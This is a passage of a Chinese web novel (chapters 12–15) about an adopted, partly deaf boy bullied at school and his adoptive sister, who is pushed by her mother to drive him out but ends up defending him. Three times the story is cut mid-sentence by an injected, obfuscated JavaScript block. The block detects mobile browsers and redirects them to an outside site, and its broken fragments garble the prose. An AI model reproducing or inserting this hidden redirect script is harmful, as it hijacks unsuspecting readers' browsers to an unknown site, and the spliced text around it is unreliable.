大师兄扫了一眼,很是失望,俯下身去,好奇地将那本书捡了起来:“玛......蒂尔达?什么乱七八糟的。” 季宁直接冲了上去,想把那本书抢回来。他拼命晃手,努力发出不连贯的音节:“别的......都行,这个,不......不行!” “哇,急得哑巴都开口说话了?快让我瞅瞅是什么好东西。”其他师兄弟愈发好奇,一拥而上。哄抢之下,一片心形的银杏叶从书的扉页落了下来。 “哈哈哈,难怪脸红啊小哑巴!这书是那家女生给你的吧?你爱上她了!要去她家做女婿了,哈哈哈!”师兄弟们哄笑成了一团。 大师兄还在不耐烦地翻书,想看季宁是不是还夹了别的好东西,比如——纸币。可他万万没想到,平时闷葫芦一样的季宁突然死死扣上了他的手腕,如孤狼般狠狠瞪着他:“还、给、我。” 大师兄冷笑一声不理会,继续翻——可就在猝不及防的下一秒,他的手腕突然被倒转拧了个一百八十度!他发出一声凄厉的惨叫,脸瞬间变色,书应声而落。 季宁立即松手,把落在地上的书和叶子拾起,将上面的灰尘小心擦拭干净,然后一秒不停地收好。 这一晚,他是把书放在枕头下睡的。 * 季宁再次踏入易家,这次是以家人的身份。 易伍和谷佳慧老早就在楼梯口等着了,看到他进来,谷佳慧笑得温婉,很有慈母的样子:“季宁,快进来呀!” 可季宁局促地站在玄关口,迟迟不肯进入,头垂得比杨柳还低。 “快进去啊!以后这就是你的家,我们就是你亲爸妈,什么担心都不要有!”易国昌亲切地一把搂过季宁,然后蹲下身,准备帮他换鞋。 季宁赶快抽脚,示意要自己来。 易伍看着这一幕,只觉得心口酸涩一片。爸爸从来没有这样对她过,从来没有。他的和颜悦色、和蔼可亲,甚至可以开放给一个陌生人。 唯独不会给自己的亲生女儿。 她愣在原地,一时忘了该主动上前迎接,直到谷佳慧从后面轻推了一下她:“快去啊。” 易伍走到季宁面前,圆润饱满的脸庞再次绽放出灿烂笑意。 她嫣红的唇轻启,声带震动,发出简单的音节:“哥哥。” 季宁猛地抬头,望向她,只局促地看了一眼,便烧红了脸。他轻声对着易国昌和谷佳慧唤道:“爸爸,妈妈。” “诶。”易国昌立马应下,忙不迭地说,“等过完夏天,你们就要去上小学了。到时候在学校里要互帮互助,相亲相爱。”随后他转眼看易伍,声音一下冷了八度,“尤其是你,少给我惹是生非。” “好的爸爸。”易伍嘴角上扬,笑得明媚,“我一定不会的。” 下一秒,她向季宁望去。 12. 一个笨蛋 成年后的很长一段时间里,易伍回首过去,才发现自己其实是个被妈妈设置好的程序。只等待主人输入命令,便机械地返回结果。 她是个只对妈妈有着无限忠诚的机器人。 妈妈让她选季宁,她便选了。妈妈让她赶他走,她便做了。 是非曲直,公道善恶,通通不管用。妈妈就是那把戒尺——她是真理,她丈量着一切。 而妈妈说,接下来最重要的事,是确保季宁彻底远离易家的门。 来一个赶一个,直到易国昌彻底打消收养念头为止。 谷佳慧偏执地想,这个家只属于她和她的女儿。她付出了巨大代价才得到今天的这一切,任何人都休想染指。 怎么赶走季宁呢?太容易了。易伍想,只要对他好就够了。 她对他越好,其他人就会对他越坏。 季宁还保持着在寺庙里的饮食作息,早睡早起,从不赖床。开学第一天,天不亮他便起来,自己收拾了床铺后轻手轻脚地下楼。 孩子变多了,易家请了保姆。保姆忙活着早餐,季宁就在一旁打下手。铺桌子、递面包、倒牛奶。 他竭尽可能地帮忙,好像完全闲不住。 “喔唷,小少爷,我来,你快点坐着吧啊!”保姆喊季宁坐下,可他却一直摇头。 易伍眯瞪着惺忪睡眼来到桌旁,看着季宁一大早就忙前忙后的样子,突然就想起了谷佳慧的话。 男生都很会伪装的,他们没有心,只看怎么做对自己最好。 安静可能是装的,那现在呢?勤劳懂事当然也可能是装的。他越懂事,表现得越好,易国昌自然就越看重他。 想到这里,易伍撇了撇嘴。 季宁见易伍两眼无神还没睡醒的样子,嘴角的梨涡再次显现。 他一边打着手语,一边艰难地轻声问:“吃......什么?”语调还是奇怪,但他仍在坚持说话,“面、包,牛、奶,面?” 易伍立马换上弯弯笑眼:“哥哥吃什么,我就吃什么。” 季宁腼腆地笑了,给她端来了早饭,眼巴巴地望着她狼吞虎咽。 没有被胎记覆盖的侧脸正对着她。 易伍默默地想,季宁笑起来也太好看了——比童话书里的王子好看,甚至,比书里的公主还好看。 两人吃完早饭后,易国昌和谷佳慧才从楼上慢慢悠悠地下来。 他们一人牵起一个,送两个孩子去上学。易国昌自然牵起的是季宁。 燎原小学就在家转角。同一批适龄儿童在一个小区内兜兜转转,碰到原来那帮人简直是顺利成章,她逃不过。 季宁当然也逃不过。 他其实已经快八岁了,但是因为说话一直没跟上,所以被学校破格允许,和易伍同在一个班。 和易国昌谷佳慧挥手告别,易伍拉着季宁的手,蹦蹦跳跳进学校找教室。 季宁有些紧张。 好不容易适应了易家,现在又来到一个全新的环境。身上的校服、领结、书包,一切都是新的。 当然,还有紧握在手中,那暖乎乎的小手。 和做梦一样。 易伍像是看出了他的不安,在他耳边柔声安慰道:“别怕,跟着我。” 才刚刚踏入教室,季宁便感觉到了不一样的气氛。 这些新同学,他们投射过来的眼神,为什么会这么......奇怪? 在寺庙,师兄弟们看向他,多是逗弄、取乐;师父看向他充满慈爱;香客们看向他,好奇中掺杂着些可怜;而易伍,她小鹿般清澈的眸子里流露出的,是属于同龄人的真挚热情。 可现在,这几个男生看向他,眼里却都写满了......憎恶? 是他的长相让他们讨厌了吧,季宁默默地想。 那他也能理解的。毕竟,连他自己照镜子的时候,也会觉得恶心。 这么想着,他又把头埋下去了一点点。 易伍就这么一直拉着季宁的手,从头到尾都没松开过——直到班主任开始点名。 点到她时,易伍起身,声如洪钟地做着自我介绍:“我叫易佑弟,喜欢看书、写字、画画。这是我的哥哥,季宁。我哥哥耳朵不太好,所以大家和他讲话的时候,要大点声。” “哦豁,阴阳人什么时候多了个哥哥?”“在外面捡的吧。”“这绝对是垃圾堆捡的吧。”“他长得好难看啊,脸上那一大块什么东西啊?”“一个阴阳人,一个丑八怪!”“耳朵不好那不就是聋子?” 班上响起了一阵窃窃私语。这些人的嘴巴依然这么臭,从来没有变过。 易伍早就料到了会是这种场面——季宁和她凑在一起不会有什么好结果。 如果他没有一颗和她一样强大的心脏,光是每天被这些人反复羞辱,可能就已经受不住了。 想到这里,她攥着季宁的手更紧了。 他们自此形影不离,埋藏在两人心底的原因却完全不同。 易伍不再落单,因为季宁永远在等她。 体育课组队,他红着脸对着其他女生连连摆手,翘首以盼地垫着脚张望,直到易伍出现在视线,才露出整齐的牙齿。 放学后排排站,他一定是等着易伍慢腾腾地收拾完书包,才出门站队,这样他们就能在同一排,一起牵手出校门。 那些讨厌的小男生们虽然还是在背地里叫易伍“阴阳人”“妖怪”,但显然他们对新来的季宁兴趣更浓——他为团体注入了久违的新鲜感。 他们喊季宁:“妖怪哥哥”“丑八怪”“聋子”。自此,季宁分担走了一大半火力,易伍倒是难得落了清净。 易伍想,季宁耳朵不好对他来说也许是件好事。 这样,那些难听刺耳的话,他大概只能听得到一半,就像一缕青烟,随风便飘走了。 但是她耳朵好,听得真真切切,那些话居然全往她心里去了,心口没来由的,一阵阵的抽痛。 她努力把这种不受控的情绪抹去,不断提醒自己,妈妈说了,目标是把季宁赶走。 她不要去同情可怜他。毕竟,自己也从没被人同情可怜过。 每个人都需要自己解决问题,她就是这么做的。 如果季宁不能,那他自然也不适合留在这里。 易国昌和谷佳慧每天看到两个无比乖巧的孩子,手拉手开开心心地回家,根本不用大人看管便自主地看书写作业。 易国昌对季宁总是和蔼可亲,连带着对易伍的态度,都比以往要友善多了。 * 课间,季宁被人堵在了操场。 还是之前欺负易伍的那几个。他们把季宁围成一个圈,上下打量着,污言秽语说了一箩筐。 比起硬骨头易佑弟,这个不知道哪里冒出来的哥哥,身上都没几两肉,欺负起来显然是更容易的。 可季宁只是非常礼貌地看向他们:“请问......可以,说慢......一点,大声、一点吗?我......耳朵听不见。”他指了指自己的耳朵,又摆了摆手。 经过夏天几个月在易家生活,他努力尝试用嘴代替手来说话,语音语调已经没有最开始那么奇怪了。 但还是很奇怪。 男生们听到他讲话的语调,笑得更厉害了:“丑八怪,怎么跟吃了破锣一样。” 他们不怀好意地冲着季宁吐起了口水:“你妹妹之前就是这么对我们的!现在,全部还给你!” 易伍从教室的窗户里看去,正巧看到季宁被他们围成一圈。 然后她转回了头,强迫自己继续背课文,心里默默祈祷,受不了就快走吧,回到你来的地方去。 第一次试探成功之后,这些男生越来越过分。 他们一有空就把季宁围起来,对着他推推搡搡:“你那妖怪妹妹怎么不来救你啊?” “她不是很能打吗,怎么都不管你啊?” “你是垃圾堆里捡来的吧,哈哈。” “你是怎么聋的,告诉我们啊。” 季宁每次只是站在正中央,不卑不亢,也不答话。 直到这些人因为打铃而自己散去。 易伍依旧忍不住从窗户往外看,看着便觉得心里窝火。本来是在练字的,手上握着的铅笔因为用力过猛,笔尖清脆地断了。 她哥哥显然是个傻子。 打回去啊!打回去这么简单的事他都不会吗?这群臭男生压根是群纸老虎,不禁打的!季宁呢,现在可是易国昌的大儿子、心头肉!就算真打架,易国昌大概也不会怪他。 所以,他到底是在等什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996661|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时的易伍还不甚清楚,一个叫做“良心”的东西在鞭笞折磨着她,让她浑身像爬了蚂蚁一样难受。 她必须不断重复告诉自己:让季宁被欺负得更狠一点,熬不住他自然就会离开了,这样妈妈也能重新开心起来。 她这么做都是为了最爱的妈妈。 * 这天放学后,暮色像被揉皱的墨水晕染在操场上空,空气潮潮的,有点冷。 季宁还是同往常一样,被围在操场中央。 他的背脊一如既往地挺直,像一棵沉默的小白杨。 为首的孩子王,叫孟旭。他把自己脑袋里能想到的,所有骂人的词全部说了一遍。 可每一句都像一拳打在了棉花上。 突然,他开始觉得有点无聊了。 想动手,又不敢来真格的,生怕那条疯狗似的易伍从某个角落窜出来,扑上来咬他一口,想想都头皮发麻。 他打了个大大的哈欠,懒洋洋地把手伸进口袋里掏啊掏,最后掏出一个五彩斑斓的小包装,打开之后,扔进嘴巴里嚼。 “哇!老大,你在吃什么,好好看啊!能不能分我一点,好吃吗?”他的小弟已经两眼放光。 孟旭慢悠悠地笑了一声:“这个嘛......是我爸从国外带回来的,特别高级的糖。喏,你们看,这种糖纸,会变颜色。” 说着,他抓出一大把,很豪气地撒了出去,“想吃啊?我请你们。” 男孩们欢呼雀跃。 就在这时,孟旭突然灵机一动——他转向季宁。 “哟,丑八怪,你看我干嘛?你也想吃啊?”他拿出口袋里的最后一颗糖,在季宁眼前晃晃,“叫爸爸。快,叫爸爸。叫完爸爸,我就给你。” 季宁先是愣了一下,仿佛没听懂。可很快,他嘴角轻轻一抽,居然笑了。 孟旭有些急:“丑八怪,你那什么表情?笑屁啊!” “我,没你,这个,儿子。”季宁一字一顿。 断断续续的话,犹如一把钝刀,慢慢刮过孟旭的脸皮。 “让你叫我爸爸!!不是我叫你爸爸!!”说完,他才反应过来自己被耍了,“丑八怪,乡巴佬!你你你,你居然敢占我便宜?” 可季宁眼神平静,目光甚至已经失了焦,轻轻飘远了。 “你这个混——”孟旭彻底怒了,手一伸,一把拽起季宁的校服领口。 可下一秒,他的背猛地一紧—— 有人拽住了他的书包,力道狠得像要把他整个往后扯下去。 他回头的那一刻,整个人僵住了。 易伍站在他身后,像一柄冷得发亮的刀。 “你爸从国外买的?”不等他反应,她直接一把抢过那颗糖,抻开糖纸,在掌心展开。 她低头看了眼,冷冷地念了出来:“上海市闵行区.......真厉害啊孟旭,国外也有个上海市?你是不是压根不认字啊?” 这句话像巴掌一样甩了过去,打得孟旭脸上一阵青一阵白。 他说话都结巴了:“我我我我,我当然认字,你你你说谁呢?” 天边突然一个炸雷,像在讽刺他的假话。随即,细密的雨丝飘了下来。 孟旭的几个小弟见到易伍便吓破了胆,连忙把孟旭架起就走:“大哥,我们,我们离她远点儿。” 人群散去,易伍气得背过了身。 她的声音带着难以掩饰的怒气:“季宁,你连打人都不会吗?啊?怎么能让别人这么欺负你?” 季宁低着头,头发被雨淋得湿透,贴在额前。 他轻声道:“我不,不喜欢,打人。” 好样的,还是个和平爱好者。 季宁伸出手,悄悄从背后去勾易伍的指尖。 易伍头一次没好气地甩开了他,一言不发地往家里跑去。 笨蛋!连打架都不会,季宁是个大笨蛋! 季宁在后面努力追着,用奇怪的语调着急地喊:“等、等、我。” 这叫声让她更难受了,只能捂着耳朵继续向前跑。 雨越下越大。她跑到家,一口气冲上楼,将自己锁在房里。 突然鼻子酸酸的有点想哭,自己也觉得莫名其妙。 季宁很快到家,一秒也没停,咚咚敲响了易伍的房门。 13. 一位季哥 易伍把自己的头蒙进被子里,对门外着急的敲门声置若罔闻。 她知道自己生气的对象并不是季宁,而是她自己。 远离欢欢是为了保护她,那亲近季宁呢?只可能是为了害他吧。 她发现自己,居然成了童话故事里的反派——拿着糖果哄小孩进森林的坏女巫。 把季宁拉来做挡箭牌,再故意用讨厌的男生把他逼走。 就像成语里说的,一箭双雕? 那一刻,她甚至对自己一直奉若神明的妈妈有了怀疑:这样做,真的对吗?季宁真像妈妈说的,和那些欺负她的男生一样,是个擅长伪装的大坏蛋吗? 很久以后她才逐渐意识到,质疑权威、独立思考这些能力都是需要后天习得的。 而她,也是在和这个世界旷日持久的周旋中,才逐渐获得了这个能力。 门外,季宁还在锲而不舍又极有礼貌地持续敲着,中途有阵子没声音了,易伍以为他终于放弃了。 结果没过多久,敲门声再度响起。 眼看摆脱不掉,她终于愤然起身,猛地开门:“你干嘛!” 门外的季宁愣了一下,小心翼翼地把毛巾递过来:“擦、头?” “不用你管!”易伍刚想把门关上,却被季宁轻轻一撑,一把将门拦住。 这时她才发现,季宁看着单薄,力气却大得吓人。 “生、气......因为、我?对、不、起。”他嗫嚅。 季宁不问青红皂白,直接胡乱道歉——可这反而让易伍更气了。 “你走开!离我远点!”易伍怒吼着,一把推开他的手,狠狠地将门砰地甩上。 她的眼圈发红,心却比脸更烫。 跟着她只会被人欺负得更惨,傻子! * 这天以后,易伍收起了虚伪的假笑。她依然和季宁一起出门,但是到了门口就加速狂飙,把他远远甩在身后。 好像这样,就不用去面对一个心虚的自己。也好像这样,那群人就能放过他。 上课的时候,她分明感觉有一道视线,像影子一样黏在她背上,但她却只死死地盯着书本,头也不抬。 季宁逐渐沉默,脸上的梨涡再也见不着了。易国昌敏锐地发现了这点,见他回到家总是魂不守舍的样子,便问他是不是上学不开心,有心事? 他只抬头看了眼易伍,然后摇了摇头。 这样莫名其妙的冷战持续了很久,直到有一天。 到了小学,男女终于不再分拨上厕所,而是有了各自独立的洗手间。 易伍自从被班上的公主禁止使用洗手间后,便只能等到快打铃前的一分钟,女洗手间的人完全走光,才偷偷溜进去解决。 可这天,老师疯狂拖堂,易伍忍得脸颊通红,浑身冒汗,动都不敢动。 像一万年那么长,才终于等到老师说下课。女洗手间门口,已经被乌央乌央的人潮围得水泄不通了。 她捂着肚子,像只快要爆炸的河豚,焦急地四下打量,突然灵光一闪:班主任现在该去开早会了,办公室里没人! 季宁的眼睛一直没离开她。见她满脸涨红,便也跟了出去。 于是他看到了易伍猫着腰、东张西望地溜进了班主任的办公室。 季宁的心提到了嗓子眼儿。 在这个校规多如牛毛的学校,不打报告私闯办公室?他不敢想后果会怎样。 刚好这时,他们的班主任,因为落了东西,正从走廊扭头往回走。 如果被逮到,易伍会挨板子吗? 季宁没有犹豫,直接冲到走廊,把住了班主任的手,结结巴巴地说:“老......师,我,肚子、疼,可以,带,我,去下......医、务室吗?” 易伍终于解决完,刚出来就看到走廊里班主任侧着身,焦急地扶着季宁。 而季宁,正疯狂给她使眼色,让她赶快回教室。 第二堂课过了一半,季宁才姗姗来迟。他落座后没多久,易伍就被后排的欢欢捅了下后背。 递过来的纸条上是她熟悉的字迹,清丽俊逸,和他的人一样:“你去做什么了?” 她把纸条扔掉,扭头对着季宁做了个口型:要你管? 心里却想的是,太烦了!让他多管闲事,又欠他一次。 * 自从他俩放学不再一起走,季宁便总是拖到天黑才回家。 谷佳慧根本不在乎——她想的是,最好这孩子就在外面永远别回来了。 她已经受够了。 季宁每天放学,一次不落,到家第一件事就是恭恭敬敬地上楼叫妈妈,给她汇报学校里发生的事。 在易家的这几个月,他安静、懂事、勤俭,爱护妹妹,就算拿着放大镜看,也是一个错处都挑不出。 甚至......他的发音也在逐步改善。这几个月他努力学习说话,发音和语言表达也逐渐好了起来。 易国昌眼中的欣喜越来越明显。 正因如此,谷佳慧的恨意也日积月累。 她本以为季宁相貌残缺、听力不好,是个好拿捏的,谁知道这小子藏得这么深,表面功夫做得实在到位。 是因为他本身就这么良善吗?谷佳慧自然认为不是。 半大小子哪有这么成熟懂事的?那唯一的可能就是他心机深沉了——也许再阴暗点想,当初耳朵不好也是他装出来的,目的就是为了激起收养人的同情。 连她也不幸中招。 谷佳慧咬牙切齿地想着,脸上却挂着温柔的笑,摸了摸季宁的头,让他回房写作业。 * 易伍压根不知道季宁每天这么晚回家,到底是去做什么了。 心像被一窝小蚂蚁咬,痒得难受却又挠不到。 她只能焦急地看着时钟的指针一点点滑过。 时间被反复拉长,比她憋尿等着去厕所还要长——直到听见楼下响起季宁进门的声音,心里的大石头才算彻底落下。 周五这天,她等了好久好久。 金乌沉落,晚霞渐渐隐去。暮色四合,连易国昌都该回家了。 可季宁还是没有回来。 易伍不自觉地呼吸急促,心里一直疯狂打鼓。 他到底去了哪儿?难道又是被那群可恶的臭男生拦住了? 他们会对季宁做什么呢?欺负他到现在,不会把他打死吧? 这念头一冒出来,她突然浑身发凉。 从头到尾,她只想把季宁赶走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996662|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可从来没想过把他弄死! 椅子上像有数千根针在扎,她蹭地起身,对着谷佳慧撒了个谎,说有作业没拿,要回学校一趟。 谷佳慧在煲汤,都没回头看她,只让她速去速回。 易伍在客厅拿了强光手电,夺门而出。 她顺着学校到家的方向一路找过去,每个角落都不放过。 终于,在那条回家必经的幽深小巷子里,她看到了季宁。 和往常一样,他被班上的那些臭男生围在了最中间。 他们越靠越近,越聚越拢,一点缝隙都不留,把季宁挤得动弹不得。 易伍老远看到这一幕,血猛地涌到脑门。 她的嘴明显比腿要快,大声高喝,声如洪钟,快要刺穿在场人的耳膜:“放!开!他!” 长大后的易伍回溯过去才发现,面对季宁,自己总是失控的,从一开始就是。 她冲进人群,如同暴风卷地,手电乱扫,把围成圈的男孩子们照得直捂眼。 然后瞅准机会,猛冲过去,将他们推搡开,趁机将季宁从人群里一把拽出,护在身后,像母鸡护崽。 男生ACD看到是她,吓得一哆嗦,立马后退半米远。 易伍汗如雨下,着急地回头检查季宁,上上下下看了个遍。 她皱着眉头这里拍拍那里敲敲,又把他360度转了个圈。 “他们打你哪了啊?这里?还是这里?你说话啊!” 季宁瞪大眼睛,难以置信地望着她。 在场所有人,都难以置信地望着她。 “季宁你这个大笨蛋!我从来没见过比你更大的笨蛋了!怎么能让人每天这么欺负你,打回去这么简单你都不会吗?看着!” 易伍怒吼,直接抡起拳头,为他做好示范——像是鸟妈妈教雏鸟捕食。 她后退一步,大臂一拉,进入充分蓄力状态。 男孩ACD和剩下的人都吓得面如土色,直接抱头鼠窜。 可季宁却在这时拉住了她的衣角:“等、等。” 易伍扭头不耐烦地看他一眼:“别烦我!” 说完,她将身体重新摆正,继续蓄力,冲着四处逃窜的男生怒吼道:“站住别跑!你们都给我回来!” 易伍像雌鹰搏击长空,又如同脱缰的野马冲了出去。左右手同时开弓,一边一个将AC揪了回来,脚下还顺便绊倒了一个D! 男孩们被吓得哇哇大哭,曾经被打的惨状又一次浮现眼前。 “哭?现在知道哭了?你们欺负他的时候怎么不哭呢?这是我哥,你们居然敢动?”易伍气不打一处来,拳头就要招呼上去。 可下一秒,她被季宁从身后死死抱住:“不,要,打。” 易伍简直快被他气死:“你自己傻不愣登的不敢打,还不许我来?不把他们打服了,以后天天缠着你!你给我让开!” 她奋力挣扎,可季宁力大如牛,把她纳入怀里,抱得好紧好紧。 男生们已经哭成一片。 ACD的鼻涕泡都冒出来了:“季哥......你抱好你妹啊,她疯了,太吓人了,你可千万别松手!” “什么?季......哥?”易伍听到这称呼,直接愣住,拳头也垂了下来。 14. 一张闪卡 男孩A抖抖索索地解释:“我们就是找他买了几张水浒的英雄卡,你看,这.....这能算欺负吗?” 男孩C吓得连连摆手:“是季哥自己主动卖给我们,不是我们逼他的。” 男孩D不甘落后:“之前我们冲他吐过口水,但是从来没打过他。易佑弟你放过我们吧!我们把卡都还给你......” 说着,男孩ACD一边吸着鼻涕泡,一边开始掏裤兜,把崭新的卡片全部拿了出来,排成一列:“你看,就这些。全还给你们......别打了,拜托了!” “什么?!”易伍眼珠子都快瞪出来了,“你们每天放学了不回家,聚在一起就是为了那个什么什么卡?” 季宁见易伍终于冷静下来,长舒了口气。他一手揽住她的肩膀,把她轻轻拉进怀里,像抱着一只炸毛的小猫,动作小心翼翼。 “我们、回家、我,给你、解释。” “你最好能解释清楚!”易伍瞪了他一眼。 谷佳慧站在家门口,诧异地看着两人手牵手地回来:“不是说去拿作业了吗?” “哥哥被留值日做卫生,正好碰到就一起回来了。”易伍恭敬地回答,然后立马拉着季宁进了房间。 反锁好门,她直接伸手掏了季宁的左边裤兜——花花绿绿的钞票落了一地。 “你怎么......会有这么多钱?”易伍看呆了。 谷佳慧怕他们在外面乱买零食,对零花钱管得超级严,一天也就一块钱而已。 易伍又掏了他右边的裤兜,这次,一堆五颜六色的闪卡窸窸窣窣全掉了出来。 平常课间,男生在耳边吵吵嚷嚷,她也被迫耳闻。 现在校园里最火的,不是什么动漫周边,也不是小霸王游戏机,而是干脆面里附赠的“水浒英雄卡”。 男孩们一下课就凑到一起,买面、丢面、抽卡、换卡好不热闹。最难抽的当属稀缺闪卡,私下售卖甚至可以叫到一张毛爷爷的价格。 能收齐所有卡片的人,自然是所有人艳羡的对象,而这些含着金汤匙长大的少爷们,一个个争先恐后,都想当上这个对象。 可是即便是他们这种零花钱多到爆炸,买面抽卡毫不手软的,也免不了总是缺一少二。 目前为止,还没人能集齐最紧俏的那几张。 季宁为什么会有这么多? “不许骗人,你说清楚了!”易伍叉腰板脸,小小年纪就有了教导主任的模样。 季宁抬头看了她一眼,从书桌上取下纸笔,漂亮的脑袋俯身到了书桌前,不多时便写了长长一大串。亏得他在庙里一直帮师父抄经书,一手蝇头小楷属实隽秀。 等到终于写完,他吞吞吐吐,用手语配合着动作轻声说:“不、生气了、好吗?我、们,和、好吧?” 易伍白了他一眼,开始认真读起他书写下的前因后果。 自从季宁独自落寞地上下学,便经常在家和学校的周围徘徊。他不敢见易伍,怕自己频繁出现引得她更加讨厌。 他迫切希望找到易伍对他态度大变的原因,又反复思索自己到底哪里做错了——完全没有头绪。 直到有一天,他照例低着头在校园门口来回漫步时,突然被一个老爷爷叫住。 老爷爷的儿子在学校门口开了一间小卖部,平常光顾这里的学生乌央乌央一大堆。 可最近他儿子生病住院,只留下他一个人看店。老人不识字,好多货品他认不清,也理不清。 学生们放学回家,一天营业结束。盘存的时候,他对着一摞摞的单子发愁。 这时,他正好瞧见季宁闷闷不乐地在校门口走来走去,便把他叫进自家店里,和蔼地问:“小朋友,你认字吗?认多少?” 老人上了年纪有些耳背,说话近乎嘶吼,所以季宁听得非常清楚。 他点了点头。他认字,还认得不少。 帮老人把货品单理完,季宁伸了伸酸胀的胳膊,看天色已暗,准备回家。老人却再次叫住了他:“好孩子,把这些也拿走吧。” 季宁打开老人递给他的塑料袋,才发现是好多开了袋的干脆面。 他知道燎原小学正流行这个。那些成日为难他的男孩子们,现在一门心思全部铺在了抽卡上。他们很多,茶饭不思,疯狂砸钱,压根不吃面饼。把卡抽出来后,就把剩下的塑料袋丢到一边。 老人给他的非常多,真的非常非常多。 他摆了摆手说自己不要,可老爷爷还是不断往他手里塞。盛情难却,他捧着一大堆干脆面回了家。 作业在学校就做完了,他呆坐在自己房间,心里想的全是易伍。 要不要再试试敲她门,邀请她一起吃呢? 他一边犹豫着,一边摩挲手上的干脆面塑料袋。这一拨弄,就发现了一件有趣的事。 其中的一包面饼里,有一张没有被取走的普通卡,显然是当时抽的人,随着面饼一起丢掉了。 他把这张卡拿出,放在指尖细细把玩了一会儿。材质偏硬,很精细的做工,图案鲜亮而且画得极好。 他默默把这张普通卡放进了校服的口袋里。 之后的几天,为了答谢老爷爷给了他那么多压根吃不完的干脆面,也为了躲避易伍,他选择了在放学后继续留下来帮忙。 季宁正在帮老人盘存,平日里为难他的那几个男生突然出现了。 这些人看到他,言语不善地大声哄笑:“哟,丑八怪在这里帮人卖东西呢。” 另一个人推搡道:“管他做什么,快点抽卡去!” 他们买了一整箱干脆面,然后蹲下身,一个个打开检查。普卡和面饼一起,被丢到一边。突然,男生D发出一声尖叫:“抽到了!抽到了!闪卡的宋江!” 其他人一拥而上,围着那张卡片叽叽喳喳。 季宁也在一旁盯着看,竟然还张口说话了:“请问.......可、以,给我,也看下、吗?” 抽到卡的男孩,急于炫耀的心情溢于言表:“连你也想看啊?哈哈,今天我心情好,行吧,给你看一眼。就一眼啊!” 季宁道谢,从他手中接过卡,放在指尖仔细摩挲。摩挲了一阵后,他皱起眉头,又从兜里掏出昨晚的那张普卡,一手一张,两张放在掌心细细比较。 “你干嘛!”男孩D立马将他手上的卡抽走,气势汹汹地说,“想偷我的卡吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996663|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季宁无奈摆了摆手。 几个男生像防贼一样看了他一眼,然后转身兴高采烈地揣着闪卡走掉了。 他们走后,季宁轻轻拽了拽老爷爷的衣角,带着一点难以启齿的恳求,小声地问:“您、可、以让我,去一下、库房吗?” 老人二话不说带他过去,听到季宁说想看干脆面的袋子,老人把库存的面一箱箱全部拿了出来。 季宁陷入了干脆面的海洋。 他慢慢蹲下身,双手像潜入水底的鱼儿,悄无声息地滑入每一个塑料袋中——不是撕开,而是用指腹在外面轻柔地摸索,感受卡片的存在。 就这样一袋接一袋地摸过去。终于,他停了下来。 找到了!季宁眼睛一亮。 从口袋里掏出一元硬币,他郑重其事地递给老人:“爷、爷,我想、买,这个。” 老人直接摆手:“拿走拿走!这些天多亏你了!” 季宁撕开包装袋,两指往里轻巧一夹,亮晶晶的闪卡跃入他的指尖。 他嘴角的梨涡再次显现。 看到这里,季宁的书写结束。易伍好奇地问了出来:“啊?所以......你到底怎么找到那种闪卡的?” 季宁拿出一张普卡和一张闪卡,轻轻放到易伍的手心:“你、摸摸、它们。” 易伍在手里揉搓了半天,没发现任何不同:“这有什么不一样的吗?” “再、试试。”季宁牵引着她的手指,带她一起感受两张卡片质感的不同,“感觉、到了吗?” 易伍摇了摇头,不就是两张硬纸片吗? “闪、卡、薄,软。”季宁微凉的手覆上她的,将手中的卡片微微弯折,“普卡、厚,硬。” 易伍突然恍然大悟,睁大了眼睛。 果然!她照着季宁说的,轻轻折了一下,闪卡果然要比普卡更软。可这种差别实在微小到一般人难以察觉。 “所以......你就一袋袋地去摸?你这手也太厉害了吧?隔着塑料袋都能摸得出来?”易伍的嘴张成了“O”形。 她不由自主地看向季宁的手,对于一个不到八岁的男孩来说,这双手真的是绝美。修长而匀称,指骨分明,像是被春水泡过的嫩柳枝。 “我看电视上说,像你这么漂亮的手,应该去弹钢琴......”易伍眼睛骨碌碌地转,“所以......那些钱,是你把闪卡卖给他们拿到的?” 季宁点了点头。 他拿着抽到的闪卡去找男孩ACD,他们三个一见他手里的卡,几乎下巴都要掉到地上——季宁拿的居然是三张最难开出的宋江!平常一张就可以在学校横着走。 可他有三张!竟然是三张! 最后,季宁用外面一半的价格把闪卡出给了他们。 他们千恩万谢。自此,这些人不再喊他“丑八怪”,而是恭恭敬敬地喊上一声“季哥”。 他们围在季宁身旁转来转去,时不时过来看看有没有新开出的卡。 男孩子们的关系竟然就这样奇妙地缓和了。 “可是......你要这么多钱做什么?”易伍不解地追问。 季宁的脸一红,垂下了头。 15. 一位卡王 季宁垂着头,瓮声瓮气地问:“我们,算,和好,了吗?” 